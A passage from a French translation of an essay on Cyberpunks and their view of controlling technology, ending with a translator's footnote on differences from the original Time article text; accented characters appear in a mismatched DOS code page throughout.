utilisent la technologie pour r‚unir l'art et la science, la
litt‚rature et l'industrie. Par-dessus tout, les Cyberpunks se
rendent compte que si vous ne contr“lez pas la technologie, c'est
elle qui va vous contr“ler. Cette le‡on servira bien les Cyberpunks
- et le reste de l'univers - pour le prochain siŠcle.

(1) Il semble que ces quelques lignes diffŠrent du texte original.
Il y aurait eu des changements apport‚s dans le texte anglais
que j'ai fidŠlement traduit ici."Promouvoir la d‚centralisation"
est ce qui apparaissait dans l'article du Time, et "stupide"
a ‚t‚ s–rement ajout‚. Le texte original est pass‚ entre
plusieurs mains avant de nous arriver...



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